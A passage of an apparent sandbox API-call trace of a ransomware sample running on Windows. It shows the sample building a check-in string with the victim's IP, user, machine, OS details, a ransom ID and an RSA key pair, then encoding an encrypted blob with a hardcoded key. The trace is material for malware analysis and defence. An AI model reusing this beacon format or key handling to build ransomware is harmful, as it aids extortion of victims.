Qp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=") returned 0 [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=", lpString2="&version=1.0" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=&version=1.0") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=&version=1.0" [0128.353] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=&version=1.0") returned 2171 [0128.353] VirtualAlloc (lpAddress=0x0, dwSize=0x87c2, flAllocationType=0x3000, flProtect=0x40) returned 0x26e0000 [0128.353] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=&version=1.0") returned 2171 [0128.353] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=&version=1.0") returned 2171 [0128.353] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0128.353] CryptBinaryToStringA (in: pbBinary=0x840000, cbBinary=0x10f6, dwFlags=0x40000001, pszString=0x26e0000, pcchString=0x19fd18 | out: pszString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLF